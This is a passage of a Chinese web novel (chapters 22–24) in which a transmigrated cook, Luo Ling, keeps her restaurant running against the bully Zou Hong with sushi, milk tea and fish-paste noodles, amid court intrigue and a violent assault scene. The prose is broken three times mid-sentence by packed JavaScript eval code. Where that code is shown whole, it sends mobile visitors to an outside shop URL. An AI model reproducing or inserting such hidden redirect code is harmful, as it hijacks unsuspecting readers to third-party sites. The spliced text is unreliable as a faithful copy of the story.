后来人患了痨病，没几年就死了，积蓄用尽，还拖欠亲戚。 她还有一个孩子要养，没办法，只有将自己卖了。 所幸有些手艺，被卖到了食店，但仍食不果腹。 自己苦就罢了，孩子也跟着受罪。 丈夫临终前还交代她，一定要让儿子上学、读书，将来做官，出人头地，光耀元家门楣。 可是……他们母子连活都要活不起了。 如果不是遇到罗姈，儿子或许就要冻毙于昨夜，那她就是死了也无颜面对先夫。 思及此，泪流满面的崔平直接拉着儿子在床上磕起了头。 那样瘦瘦小小的孩子，一磕一句“多谢恩人救命之恩”。 听完罗姈沉默着没说话，等他们磕完，她拉起元翰墨平视，看着他的眼睛告诉他：“救你的，不是我，是你的娘亲。” “我救你，是有条件的，因为你娘是个有本事的人，我看中她，她牵挂你，所以我救你。” “你日后也要做个有本事的人，有本事的人才有价值，身后总有出路，望不尽的坦途。” “元翰墨，你要好好读书，为你自己。”说完摸摸他的头，将滚好的热鸡蛋塞给他吃。 好好读书这句话他听父亲说过很多次，但这次不一样，眼前的漂亮姐姐说读书是为了他自己。 他不知道谁说的是对的，只知道手心的鸡蛋烘得他心里很烫。 临走前，崔平拉住罗姈的衣袖，羞惭地低下头：“娘子……我的身契很贵。” 这也是为什么罗姈第一次聘用她时，开出了高额的工钱，她还是拒绝了的原因。 她默默伸出两个手指：“要二十两……” 她不敢对视，生怕看见罗姈无法接受的眼神。 罗姈在心中轻叹：达官贵人们的一顿饭钱，也是平民百姓的卖命钱…… 将她的手塞回温暖的被褥，只道：“你放心。” 过年正是酒楼食店生意最好的时候，但广和居依旧冷清。 罗姈刚进门，郭胖就主动迎了上来。 “呦，这不是百味坊的罗掌柜吗？稀客啊。” 没理会他语气中的揶揄，罗姈开门见山：“我来找你买崔平的身契。” “我说她今日怎么迟迟不来上工，原来是奔您那儿去了。”郭胖眯起眼睛，假意真诚地赞叹，“还要买伙计，想必百味坊的生意又再上一层楼啦。” 邹家已经放话，要让百味坊在长安城开不下去，现在各家食店都已知道了。 百味坊有背景，如意楼的靠山也不是吃素的。 而显然，现在的情状是百味坊面临关张。 从前是惹不起，今日可以挺直了腰板儿说话。 郭胖摸摸下巴：“罗掌柜准备了多少银子啊？” 罗姈皱眉：“卖身契白纸黑字，你还要讲价？” “我劳心培养了这么久，如今这人的庖技都能出师了， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16623635|185458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身价自然不可同日而语。”说这话的郭胖脸不红心不跳。 罗姈都气笑了：“可是崔平同我说你们契书上可是约定了每月要另付她一份月钱的，你还欠着，这账又该怎么算？” “不是我不付，是她自己犯错扣完了。”郭胖理直气壮。 “当然了，现在我已经教得很妥帖了，”郭胖眼珠子滴溜转，“总之身价绝不止二十两。” “说吧，你想要多少？”罗姈不欲周旋。 “不多要您银子，”郭胖摆摆手，一副好说话的模样，“只要您一份爆炒鸡杂的食方。” 原来是在这儿等着她呢。 这食方于厨师而言就好比是习武之人的秘籍，是赖以生存的根本。 对于他们庖厨来说这才是真正的无价之宝。 一份秘籍传三代，那自然是宝贝。 可对于罗姈来说，感谢现代资讯的馈赠，这些“武林秘籍”她传三百个徒弟不重样她都传不完。 所以她没那么在乎，只是有点不爽而已。 见罗姈如此痛快，郭胖都疑心自己是不是要少了，晚上在床上翻来覆去，悔得睡不着。 …… 第二日顾承禾替罗姈“回娘家”，罗姈则去了百味坊。 明天开张，今天要培训一下新员工。 在此之前，她要先校考新员工一道功夫菜——文思豆腐。 知道崔平的刀工好，但罗姈不晓得究竟到了什么水准。 这道菜是最考验手上功夫的。 只见崔平将菜刀在手中掂了掂，就毫不犹豫地直接下刀。 “咚咚咚——” 在砧板上敲打出均匀的节奏，手腕每一次起落，角度、高度，肉眼看不出任何分别。 从左到右，先切片，后切丝，动作娴熟，一气呵成。 那立得稳稳的豆腐跺被崔平轻轻推入水中，像游鱼一样顺着手指的搅动在碗里散开，分成一根根松针粗细的豆腐丝。 罗姈在一旁看着既羡慕又佩服。 崔平转身准备其他配菜时，小春问罗姈：“娘子您最后真把爆炒鸡杂的食方给郭胖了？” 崔平切火腿的手一顿。 小春是故意当着崔平的面问的，虽然娘子不在意，可她得让她知道娘子的好。 在广和居时，郭胖在灶上所有的关键之处都是避着她做的，她当然知道食方对庖厨来说意味着什么。 崔平默默将头垂得更低，在心中暗暗起誓以后要给东家当牛做马。 “给了，”罗姈的唇角轻快扬起，“不止他，我给每家食店都送了一份。” 人人都有，就等于人人都没有。 郭胖想靠她的食方发财，做梦！ 她们笑作一团时，不速之客再次上门。 “这么高兴呐——” 邹洪不请自入，直接大剌剌坐在店中的矮几上，一脚将蒲团踢飞。 “听说罗掌柜还买了新伙计，怎么，店里的西北风太多了分不完啊？” 笑得猖狂又挑衅。 昨天他一时被顾承禾吓住了，回家跟长辈再三确认，顾家是真的要倒台。 而罗相虽然深受皇恩，但听说他一直不喜这个女儿，那就无甚可惧了。 这面子他一定要找回来！ 蹇驴得志，小春暗啐。 “你以为叫食行断供，我就开不了张？” 罗姈由他张狂，不慌不忙：“那我就请邹公子明日亲自来看看，百味坊是怎么靠着‘西、北、风’客满盈门的。” 22. 酢饭团与甜乳茶 当然不可能真请客人来喝西北风了。 虽然邹洪掐了她们的货源，但百味坊还有存粮，应付几日不成问题。 关键是——食材有限，怎么做？ 罗姈盯着店内唯一还算富裕的食材——两麻袋大米，心里有了主意。 小春看罗姈倒出整整一桶米，问：“娘子你这是打算做什么好吃的？” 罗姈轻盈一笑，对崔平和小春说：“今天教你们捏酢饭团。” 酢饭团，也就是现代的寿司。 不需要太多的调料，只用不同食材的简单组合，就可以得到一份轻便的美味。 做好酢饭团分为两步，一个是要挑选合适的食材搭配，另一个就是要煮好酢饭。 相较于饭团之上食材，酢饭本身的存在感很弱，但其实酢饭的质量是非常重要的。 煮饭听起来容易，但其实大有乾坤。 首先就是洗米，要洗去淀粉，所以在洗的时候需要通过快速搅拌不停摩擦，多次淘澄，直至洗米水清澈如新，这样蒸出来的大米才松散分明。 在蒸米时还有一个小秘诀——放一块昆布。 这样蒸出来的米饭就会尤其鲜美。 蒸好后倒出来打散，倒上一点米酢，这也是百味坊如今唯二有剩的调味料了。随后快速翻拌，让每一粒米都均匀地染上酢香。 拌好后铺开，快速降温，最大程度地保留住酢香，这样酢饭就制作好了。 然后便是捏饭团，捏也不是随便团吧团，也是有技巧的。 首先要热手，手温升高到微红后沾一点酢，捏起一小团酢饭握在手心“内卷”，整理成中间鼓两头尖的形状，放上主食材后收型。有的师傅喜欢用虎口收，这些就是个人喜好了，罗姈今天就先教一种。 崔平到底是在案厨呆过多年的，一学就会，没几个就有模有样。小春粗糙些，把饭团当泥巴玩儿了，倒也自得其乐。 罗姈无奈摇头，打发小春去后院拾鸡蛋。 学会了基本的团饭技巧，接下来就要配合食材了。 罗姈将主食材拿来放到崔平面前，现在正是最需要她发挥本领的时候了。 没有新鲜菜蔬，没有新鲜鱼生，现在百味坊里能拿出来的，只有年前腌好的鲊鱼和熏肉。 数量不多，所以每一刀都不能浪费。 罗姈正跟崔平细细讲解要切成何种方寸之时，“砰砰——”后门被轻轻叩响。 终于来了！ 寅子送来整整四大桶牛乳！ 邹洪以为向食行施压，断了罗姈所有货源，却想不到罗姈临时起意要做乳茶，没在马行街订牛乳，而是向早市的散牛乳户购的，根本没入案。 饭食不够，咱们饮子来补！ 小春立马兴高采烈地去煮乳茶，罗姈则另取了半桶入肴。 即使可用的食材不多，她也要翻出花儿来！ 一个时辰后。 百味坊挂出崭新绣旆，小春拿着一个收口处变小的铁皮筒子，大声嚷嚷，让声音传得更远—— “百味坊新品菜肴——酢饭团和甜乳茶便宜卖！” “无论朝食午食暮食都好食，不管喜饮悲饮渴饮都好饮！” 新鲜的广告语将路人们吸引来。 小巧精致的酢饭团排成四纵三横，乖巧地卧在食盘里任由挑选。 白里透着红的鲊鱼、红中带着黑的豚肉、金黄油润的厚蛋烧和翠绿爽口的青瓜条。 满目琳琅。 更不要说旁边饮子桶的盖子一掀开，那扑鼻的甜香，简直要把人的魂儿都要勾去了。 而且这酢饭团还论个儿卖，以往对百味坊席面价格望而却步的路人，这回都想买一个尝尝，这长安城风头最盛的食店究竟是个什么滋味？ 正是辰时吃朝食的时候，一些人在百味坊门口排起队，买了直接带走。 也有不少人进店，打算坐下好好享用一番。 然而还没吃上一口，突然就有一帮恶煞来赶人。 “去去去——” 他们手持棍棒，一身彪肉，顷刻就将百味坊的门前扫了个干净。 有认出来这些是邹家钱庄养的闲汉，打杀人不要命的一帮主儿，害怕遁走。 不明所以还站在原地的，邹洪亲自走到面前恐吓：“这家的食材来路不明，你敢吃？” 看这凶恶的架势，也知或有纠纷，于是一下散了个干净。 罗姈闻讯而出，柳眉倒竖：“邹洪！有胆子就来真较量，尽使些下作手段算什么本事！” 没想到停供也拦不住罗姈鼓捣出美味，邹洪看着实在眼馋，他赚不到的银子别人也甭想赚！ 示意手下将百味坊的门口围起来，邹洪恶声恶气：“我说过，在长安城里开食店，没有人能越过我邹家。”眼睛一眯，勾出一个狞笑，“得罪我，你找死。” “今天我就把话撂在这儿，我不点头，我看谁敢进你店门！” “吾敢！” 一个如洪钟般响亮的声音笑问：“邹家小儿，你可是要拦本相？” 眼前之人，着一身绛紫圆领孔雀袍，荔枝金腰带，虽眼带笑意却实威重，让人莫敢不从。 邹家的闲汉纷纷礼让，退避三尺。 罗姈实在难以置信，当日在那豆腐小摊遇见的破篓渔翁竟是三司总使章仕春。 “傻啦丫头，还不请我进店？”章仕春挥挥手，笑得平易近人。 不等罗姈开口，他如入自家，转圈打量，自顾自开口：“不错不错，没想到罗正松这根歹竹居然生出了好笋。” 他朝罗姈点头：“聪灵毓秀，跟你爹那个老顽半点不像。” 罗姈：“……” 这话她真难接。 “愣着干什么，还不把刚才吆喝的那什么……酢饭团和乳茶给我装一份儿，”章仕春狡黠眨眼，“今儿你阿伯我带钱了。” 罗姈如梦初醒，亲手给章仕春装了个满满当当。 …… 初三，是每年新岁百官参朝，觐见天子的日子。 此为开年首朝，不止六品，只要是在京官员都要参加，也称大朝会。 因为官员众多，时间冗长，许多年事已高的官员撑不住久站，尤其是在这寒冬腊月。是以从先帝起，这大朝会便从寅牌更改至巳牌，又命光禄寺备了午食，好叫他们趁此时机歇一歇。 像章仕春、罗正松这样的高官，间歇时就可以不必在外吹风，优雅地在温暖的待漏院内享用午食。 光禄寺开始分发餐食，罗正松坐到他惯常的位置上，几位交好的同僚并门生周世清照旧入座。 但是今日，素来不同桌的章仕春却挤到这桌来。 拒绝了光禄寺的饭食，章仕春招来祗候的仆役，提来一个大大的食盒。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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那官员又吃了一口青瓜饭团，爽脆开胃，还想再吃，看向章相，立马就被瞪了回来。 他十分理解章相的护食之举，问：“敢问大人，这是何处来的吃食？居然如此美味？” 终于问到点儿了，章仕春咽下饭粒，清咳道：“长乐街新开的食肆，名唤百味坊。” 最近长安城里出了许多时兴菜，这些大人或多或少都有耳闻。 有去过的，更是直言：“罗掌柜又出了新菜式？下了朝我就要去尝！” 有著名老饕章仕春背书，很多大人都蠢蠢欲动。 章仕春瞥罗正松难看的脸色，搁了筷子，噙着笑，低声用只有两个人才能听到的声音说：“你个老古董，身在福中不知福，我要是有这么个慧黠的女儿，不知有多可心儿。” “人活一世，鸡鸭鱼肉，你女儿年纪轻轻就参悟了人生至理，跟小辈儿学着点吧。” “来一口？”揭开竹筒盖，章仕春将甜乳茶递给罗正松，得意耸肩，“你家丫头孝敬我的，用龙凤茶煮的，可香了。” 龙凤茶？那茶饼他自己都舍不得喝！ 他女儿居然还拿去孝敬他的冤家？ 罗正松气得摔了筷子甩袖就走，章仕春追着刺激：“人丫头比你懂事，说以后要常孝敬我呢！” 途径顾承禾时，眼风一瞟—— 女婿也跟他一样吃冷糠喝冷风，罗正松心中稍稍宽慰。 一会儿上朝，可以考虑轻些动手。 23. 鱼糊汤粉 间休罢，继续议事。 居于左首的罗正松手持笏板，双目微阖，似在养神。 同排首位的枢密使陈三友余光轻瞥，随后轻轻向后递了个眼神。 罗正松依旧老神在在，岿然不动。 后面的官员刚伸出右脚，周世清突然先一步跳出来。 “陛下，臣有本启奏。” 陈三友即刻看向罗正松，惊疑不定。 罗正松眼皮都没掀一下。 皇帝大手一挥：“周侍讲所为何事？” “骁骑营统领石敢信目无法纪杀害平民，罪在不赦，臣请陛下圣裁严惩！” 皇帝眉毛微微一挑，一副刚才知晓的样子：“哦？证据确凿？” 周世清低头：“证据确凿，但石敢信抵死不认，现在刑部大牢受讯。” 皇帝看向罗正松：“罗相以为如何？这石敢信到底是有功之臣，朕……” 周世清是罗正松的得意门生，问与不问没什么分别。 皇帝表现得痛心扼腕，但言语间却给石敢信定了罪。 顾承禾立即站出来陈情求恕：“陛下，此案尚有疑点……” 罗正松两眼一睁，目光炯炯：“顾将军！” 遽然喝止。 “石敢信作为你的部下，治军不严，你也难辞其咎！” 面对咄咄相逼的罗正松，顾承禾头疼不已。 昨日他替罗姈回娘家，独自登门，恳请岳父帮忙救人。然而话还没说完就被一句“顾将军拜错庙门”给轰了出去。 今日朝会，他的亲岳父甚至直接将火烧到他身上来了。 顾承禾气闷：“若是石敢信当真知法犯法，我愿一同治罪。”向皇帝作揖，“陛下，臣一力担保，恳请陛下明察！” “呵，你一力担保，你凭何担保？”罗正松冷哼，“品行不端，勾引良家，上风不正下必歪之。” “小有失节，大有杀人。”罗正松也深揖，“陛下，他们军中风气可见一斑啊！” 又来了，顾承禾无奈：“罗相，我与令爱是两情相悦，何来勾引一说？” 罗正松怒起，疾步过去面斥：“你的意思是本相教导无方，才给了你可乘之机？” 眼见着又要为私事儿打起来了，他这儿到底是金銮殿还是县衙？ 皇帝疲惫不堪，自打罗顾两家结亲，文武两派日日斗嘴，虽合辙心意，可日日听着也忒头疼了。 “好了！”皇帝打断，“你们两家的私事关起门来自己吵去，今日是来议政的！” 帝王微愠，四下寂静。 “陈爱卿，此案你有何看法？” 陈三友在脑子里绕了一转又一转，终是道：“臣以为兹事体大，应尽快交由三司会审，毋枉毋纵。” 又问了几位公卿，态度莫衷一是。 最后问到章仕春时，却听到—— “陛下，虽然石敢信军功彪炳，但因一点口角就行凶杀人，如此罔顾法纪，狂悖暴戾，必须严惩，臣以为功过不可抵之。” “罗相所言，臣亦深感同忧。顾将军信任下士并无不可，但干涉人命，判断不可偏颇，否则将我大周律法置于何地？” “所以，臣请陛下在此案了结前，让相关人等回避，以执公允。” 这些日子，顾承禾一直在为此案走访，打点疏通。虽然无用，但是一个关系也没落下。章仕春这番谏言就是要彻底关他禁闭，让他求救无门。 罗章二相素来不睦，这还是皇帝头一回见二人同声同气。 细细想来，简在帝心的几位重臣竟然都意要从严发落。 皇帝反而沉吟不语。 片晌，终于发话：“如诸位爱卿所言，兹事体大，应周详考虑。西戎通商一事今尚未合议，此案容后再议吧。” 国家的事自然比死了一个人重要得多，朝会很快便进入下一个重要议程。 散朝后，常参官们三五相携，直朝着长乐街百味坊而去。 落在最后的两位大相公，默契地交换了一个眼神，不约而同地在心里对骂： “罗老顽！” “狡兔章！” 尔后微微一笑，扬长而去。 …… 翌日，百味坊内。 易礼搬了个凳子坐在灶台边，百无聊赖地把玩着羹匙：“我说，你这一直被掐着脖子也不是办法啊。” 他在家闭关作画几日，一出来天下大变。 顾承禾主动称病避祸，罗姈这边也遭了歹人算计。 朝堂上的事他是有心无力了，百味坊的事他总能给出出主意。 买菜其实好解决。 虽然邹洪打点了食行总署，但抓不到小商小贩的头上，他邹家再势大，也网罗不了所有小鱼小虾。 左不过就是要罗姈多费些心力再选罢了。 唯有一点，真是害了命门。 那花雕酒垄断在如意楼，罗姈做不少菜都需要花雕，普通黄酒根本达不到她想要的风味。 而且邹洪也和所有卖酒的正店打了招呼，罗姈想要买酒只有去官家的酒务司。 那酒务司的酒就更一般了。 “其实我觉得你可以去找章明达帮帮忙，以其人之道还治其人之身。”易礼想到了一招，“他断你的酒，你直接想办法断他们酒曲啊。” “章明达在酒务司还是很有份量的，跟他说说情，让他使点儿绊子。” 罗姈没接茬，只说：“走一步看一步吧，先尝尝我的新菜——鱼糊汤粉。” 易礼深嗅：“嚯！你可真舍得！” “又做什么新鲜吃食啦？” 竹帘牵荡，铜铃轻摇，章明达飒踏而来。 易礼笑骂：“真是馋人鼻子尖，哪儿都少不了你！” “快来快来，罗娘子今日是下血本了，请我们吃金子呐。” 章明达一看还真是金子，满满一碗的胡椒香！ 二人赶紧趁热撩了一筷子，胡椒味直冲天灵盖儿，又辛又冲，缓过来后回味无穷。 章明达咂摸舌尖：“这里头还有鱼末？” “没错！”罗姈得意一笑。 这鱼糊汤粉是一道典型的吃鱼不见鱼的美味。 首先在腌制时就要搁上大量的胡椒，然后用煎过葱姜蒜椒的底油将鱼煎至两面金黄。 这里的鱼最好选用小杂鱼，而且不要收拾得太干净，保留一些鱼鳞才更有质朴的鱼鲜。 煎好后将鱼肉捣碎，弄得越碎越好，这样后头出来的鱼汤才更为奶白。 切记鱼骨不要丢了，留在锅里跟鱼肉一起慢慢地煎，直到油尽，骨头都炼酥了，再倒入滚水煲上半个时辰。 时间到了，将骨肉渣子和鱼汤过滤分开，重复将骨肉炒一遍，倒汤再熬煮，再过滤，炼出一锅浓浓的鱼汤精华。 抿一口，舌头都要鲜掉！ 再将米粉末和大量的胡椒兑水搅和，最好加点白芝麻增香，一起倒入鱼汤中收芡，浓稠到挂勺便是恰到好处。 最后将鱼糊汤浇在烫好的米粉上，撒上虾皮、榨菜、芫荽和葱花便大功告成。 吃的时候用筷子搅拌，务必让每一根米粉都挂满黏糊辛香的鱼糊汤。 易礼和章明达吃得额上微汗，大呼美味。 若是能日日吃上这么一碗，冬日再长都不难捱了。 罗姈将才炸好的油条塞进他们的碗里：“还有更美味的。” 当金黄的油果子吸饱了鲜浓的鱼糊汤，因是刚出锅的，还尤其酥脆，又有沾湿了的柔软，每一个孔隙里都充满了纯粹的油香与鲜香。 其中风味，若非真真落到了自己的肚子里，再有好食人万般描述，易礼和章明达都是不会相信的。 美哉！妙哉！ 章明达拍案叫绝。 见他心情如此畅快，易礼眨眼暗示罗姈，此时正是说项的好时机。 罗姈轻轻摇头。 章明达看见了权当没看见，他晓得近日的纷乱，但他不想掺和，就是没想到罗姈会主动不提。 其实罗姈是觉得邹洪给她施压，她又找章明达给邹洪施压，邹洪自然也可以找更大的靠山，终究是治标不治本。 酒务司、丞相府、将军府，这些靠山都不够，她必须找到一个最大的靠山，最好能直接把邹洪压死的那种。 章明达连吃两碗，问：“罗掌柜，这汤粉可还有？我想包一份带走。” “有是有，”罗姈拒绝，“可我不做索唤。” 汤粉就是要趁热吃才香，做索唤大失风味，砸了她百味坊的招牌。 章明达难得央求：“这般美味，我是想给逢莺带去的。” 逢莺要吃，那得想辙。 罗姈立刻去找保温器具。 …… 此刻太平坊内，邹洪正郁闷地喝花酒。 “转个屁啊，转得老子头都晕了！”将酒壶砸向跳舞的歌妓。 “唱曲儿的呢，给老子换唱曲儿的！” 北曲的李妈妈赶紧又换了一批姑娘，也不知是谁惹了这位小邹爷，今个儿气性大得很，砸了她们好几个古董摆件了。 谁惹的？ 当然是罗姈惹的。 昨天邹洪赶走普通食客后，百味坊先是章大相公驾到，尔后又乌泱泱涌来了一批大老爷，个个儿身上绣云纹、挂鱼袋。 他还真奈何不得！ 眼睁睁看着饭食一售而空，给邹洪气得不轻。 只能来太平坊纾解，偏这些庸脂俗粉难看死了，玩儿也玩儿不痛快。 摩挲着手里的骨牌，他不由想起了那个弹琵琶的小娘皮，那杨柳小腰细的…… 勾得邹洪心里发痒。 脚步虚浮地来到南曲，樊妈妈亲自出来相迎。 “呦，什么风把小邹爷给吹来了？” 邹洪的身份在南曲其 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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外头没有人应，逢莺一下子慌了，想要逃出包围，却立刻被邹洪扯了回来：“哪里去啊逢莺娘子？” “放手！” 吃醉了的邹洪力气尤其大，牢牢牵制着逢莺的左手让她动弹不得。 “我马上就要去赴宴，章大人的马车一会儿就要来接我了！” 逢莺搬出章明达想唬住邹洪。 “伺候谁不是伺候啊，我比章明达有钱，你从了我，保你富贵。” 若是平时，邹洪确实会忌惮三分，但今个儿喝多了，现下他脑子里只有这盘扣怎么解了。 说完就兽性大发，开始动手扯逢莺的衣裳。 刚褪至肩头，砰地一声一个重物就给他砸开了瓢。 捂着后脑的血，邹洪嚷嚷：“他大爷的，谁敢坏老子好事儿？” 赶来的章明达不说话，拖着邹洪到一旁，一拳一拳生砸下去，拳拳到肉。 酒后身体笨重，一开始邹洪还扑腾、挣扎，直到血越流越多，眼见着快要翻出一对儿鱼行里随处可见，越来越不新鲜的死鱼眼睛。 逢莺扑过去死死抱住章明达，这才逐渐收了手。 再打就要出人命了。 这时候，仆役们终于“姗姗来迟”。 看见屋内的景象，默契地噤若寒蝉，默契地将人抬出去。 含着一汪粉滟滟的泪，逢莺抱着章明达的手，一出口却一下子将他的怒火移到了空地上。 他转过头，问：“你说什么？” 逢莺：“你帮帮三娘罢。” 方才纠缠间，她听邹洪放醉话，也要让罗姈没有好果子吃。 章明达余怒未消，但忍不住失笑：“你自个儿的仇还没报呢，转道惦记起别人的事儿了？” 逢莺眼中忧色更浓，嗔道：“你分不分轻重，三娘那处比我紧要。” “又不是第一次了，我应付得来。”摊开手心，是一包还没来得急撒出去的药粉。 南曲里的客人多自持身份，但偶尔也会遇到像邹洪这样硬来的王八蛋。 所以身上一直揣着，不到万不得已不会拿出来。 刚才若是章明达再晚来一会儿，她就撒出去了。 章明达无奈：“你们姐妹倒是彼此记挂，”他一抬下巴，指着地上支离破碎的食盒，“听说是要给你送索唤，装了足足三层。” 可惜了，改做凶器了。 有了倚靠逢莺心里落了定，惊慌一抛，拍手道：“对了，我昨天去胭脂铺，它们新年出了新颜色，我给三娘挑了一块，你帮我带去。” “我成跑腿的了？”章明达不满，“不是，她都有礼物，我没有？” “你也要胭脂？”逢莺轻嗔。 “赏你了。” 在章明达的面颊轻轻落下一个吻。 “记着三娘的事儿！”逢莺不忘嘱托。 “好，我的姑奶奶。” 章明达含笑应承，转过头盯着地上邹洪的残血，满脸阴鸷。 24. 梅雪三味 这几日多有烦忧，罗姈晨起看见院子里的白梅和红梅不知何时开了满树，颇有与雪争艳的盛景。 她想，若是辜负了这几株老梅的心意，岂不太没情趣？ 于是她立即召了大伙过来：“这院子里梅花开得极好，我们很该一同欣赏欣赏。” 小春最是了解她，掩唇而笑：“娘子您又是馋这些梅花了吧。” 大家伙一听说罗姈要用这些梅花入肴，很是兴奋。 有人提议：“咱们做梅花汤饼吃吧！” 昨天立春刚吃过五辛盘，口味忒重，正好食些清淡雅致的去一去味。 本朝士人推崇风雅，食花馔也是常事，就拿这梅花来说，诸如梅花汤饼、暗香粥、汤绽梅，都很常见。 但罗姈却摇了摇头：“这花开得艳，雪色亦好，都不能辜负。这梅花索饼我另有安排，去采梅，咱们先做梅花饭暖暖身。” 将军府里没什么奇花异石，就这几株梅树错落开着，罗姈围着树转圈，盘算着自己要“祸害”多少才够。 “白梅也要！红梅也要！” 见下人不假思索就采，她干脆亲自上树：“这入肴的梅花，要取顶枝儿上最嫩几朵，夹了一点儿黄斑黑点都不行。” 后面依言行事，采回来的一捧捧梅花，白的像雪，红的像霞，当真是可怜可爱，想想就觉得美味。 以花入馔，最重要的就是不能夺其风采，是以做法要简单但不简朴，方能食花香而知雅意。 这梅花粳饭便是循此精细之道。 选取一捧白梅，小心地洗去梅上的尘埃，在清水盆里浸着，撒一点点白面将尘土吸走，换到另一个盆里再澄一道水，一朵朵捡干净了，方能入甑蒸之。 蒸完花的功夫再来蒸米。 这蒸米说简单也简单，说难也难。 一念之间，便是粥、饭之别。 其中机彀便在于用水之道，粥水忌增，饭水忌减。如医者用药，皆有定数[1]。 像罗姈这样常年浸在厨房里的人亦不敢大意，每每蒸煮，都要用手指细细比量，确保蒸出来的饭轻盈蓬松，水汽一分不多，一分不少。 梅花滴取成露，正好搭配初熟的米饭。 在热腾腾的粳米饭上浇一盏新鲜花露，闭盖焖一会儿，任由花露自由布散，等待香味渗进米饭里。 吃起来不仅有谷物本身含蓄的甜，还有拆成丝缕的梅的清香。 不夺米的本味，淡淡的，似有若无。 就好像独自一人在湖曲柳岸偶遇一阵风，风将你带到一株白梅前，你看到了它盛开的一瞬。 这一瞬或许没有任何意义，但你知道风在你心里打了一个旋儿，就像胃记得梅花曾来过。 所有人聚在厨房里，就捧着这么一小钵饭，空口吃得沉浸无比。 连东狸都被这香气吸引，跳上灶台，左嗅右闻，探头探脑。 这还是罗姈第一次尝试做这梅花露，从前多以蔷薇、香橼、桂花入味，没想到这梅花也很是相协。 可是要赏梅味只吃饭怎么足够，话不多说，罗姈去她的嫁妆箱子里翻出一个密封的瓷罐。 这是去岁她亲手腌的梅子蜜。 取用六月新梅和头刀薄荷，加冰糖和蜜糖封在瓷瓮里。 酸甜生津，清新开胃，拿来冲一碗梅子熟水，不知有多爽利。 罗姈先是喝了一碗热的，将身子彻底喝暖和了，又跑出去接了一碗冰井水，配上梅子蜜，冰冰凉凉一下肚，不由自主地畅笑出来。 大冬天的喝冰饮，喝完还大笑，弄得小春一头雾水。 “娘子，您没事儿吧？” “雪里饮冰，好久没有过了。”笑完罗姈怅然若失。 穿越前，她最喜欢的就是在冬天吃冰淇淋，在城市靠着暖气吃，在农村围着地炉吃，走在外头下着雪也吃。 冰凉的乳脂经由口腔淌进温暖的胃里，冰火两重，是一种自由放纵的幸福。 罗姈眼眸中光彩流溢，小春见状也学着来上一碗。 嘶！好凉！ 在熟水的甜蜜到来前，先是寒冰直截了当的一激灵。 然后才融化成甜甜的蜜水，寒风一吹，薄荷的清凉将喉咙的通道完全打开，她现在感觉自己整个人好像……通风了？ 和罗姈对视，主仆二人一齐大笑不止。 冬日昼短，煮个饮子的功夫橘霞就渐起攀上天缘。 先时罗姈说要将花色和雪色一同入肴，午间食过梅花粳饭，憩时饮过梅子熟水，现在就差一碗暮间的梅制翠缕冷淘了。 要说这冷淘面理是应夏之肴，而且也都是用槐叶来做，但罗姈记着《事林广记》的西园刻本中曾载过梅制的版本。 冬梅夏面，看来古人也和她一样，有一颗叛逆之心啊…… 回到小院厨房，罗姈指挥小春她们将余下的红梅淘洗出来。 转个眼的功夫，东狸又皮到哪里去了？ 阿莲：“许是方才开门时跟着夫人偷溜出去了。” “它就是这样爱玩，附近雪地里打滚呢，冷了自回来了。”阿香补充。 东狸虽然贪玩，但好在不大爱出院子，又粘人，是以罗姈每次回家，它都会过来喵几声。而且只要她在厨房，它一向聪明守着的，就等罗姈赏它零嘴。 罗姈唤了两声东狸的名字，并无响应。 这就有些罕见了，平日它最爱叫唤，只要有人叫，必会应声。 上次不应，还是因为太胖了卡在石缝里，折腾半天没力气了才哑巴。 不放心，罗姈独自去寻。 行过卧房、耳房，走到书房时，终于捕捉到了动物响动。 微弱的、蔫吧的、疲惫地喵喵。 透着没关严的窗缝，罗姈看到顾承禾似乎在里面给东狸……授课？ 拿着戒尺，十分严肃：“第一，不经主人允许擅自闯入，是为失礼。” “啪啪——”戒尺敲桌。 “……喵。”桌上东狸低声哼唧，好像在说听懂了。 “第二，毁坏他人财物，是为失德。” 稍待东狸舔完毛，顾承禾又是“啪啪”两下。 “……喵。”东狸也敷衍两下。 “第三，畏罪潜逃，是为失信。” “啪啪——” “……喵。”摇动的尾巴表明已经很不耐烦了。 明黄跳跃的烛光打在顾承禾冷硬的侧脸上，一本正经说教的样子，居然还有点可爱？ 罗姈捂住嘴唇，装作镇定地轻轻咳嗽。 意识到窗外有人，顾承禾立刻像丢了烫手山芋一样丢掉“教具”，僵硬站起来，浑身不自在。 “喵！”东狸看到救兵，立刻跳到罗姈怀里。 罗姈进到室内仔细观察“案发现场”，原来是东狸打翻了笔洗。 这个紫砂干果笔洗是她某天逛书斋无意淘的，半爿大栗壳样式，栗子蒂疤底下还粘了满了胡桃、瓜子、花生、乌菱和银杏果，实有野趣，看起来就好吃得不得了[2]。 但是她平素用得少，干脆就搁到顾承禾的书房里了，也没跟他讲，没想到他居然真的在用。 东狸这个小顽皮，创翻了笔洗不说，还弄了自己和顾承禾一身洗墨水。 罗姈拂去尾巴尖上的墨渍，戳戳它的小脑袋：“又闯祸了！” 光是上一旬就刨了祖母院子里的盆景、打翻厨房的碗碟、还在阿海鞋子里尿尿，简直坏事做尽！ 偏又生得那么毛茸可爱，犯错后就喵喵咪咪地撒娇卖乖，难怪易礼这个原主人是又爱又恨。 “咳，”顾承禾思忖道，“这笔洗……我赔你。” 其实也就是掉了一枚杏仁果而已，没有损得厉害。 “你要赔？”罗姈的小脑筋一转，“那我不要笔洗，我要你陪我做饭。” 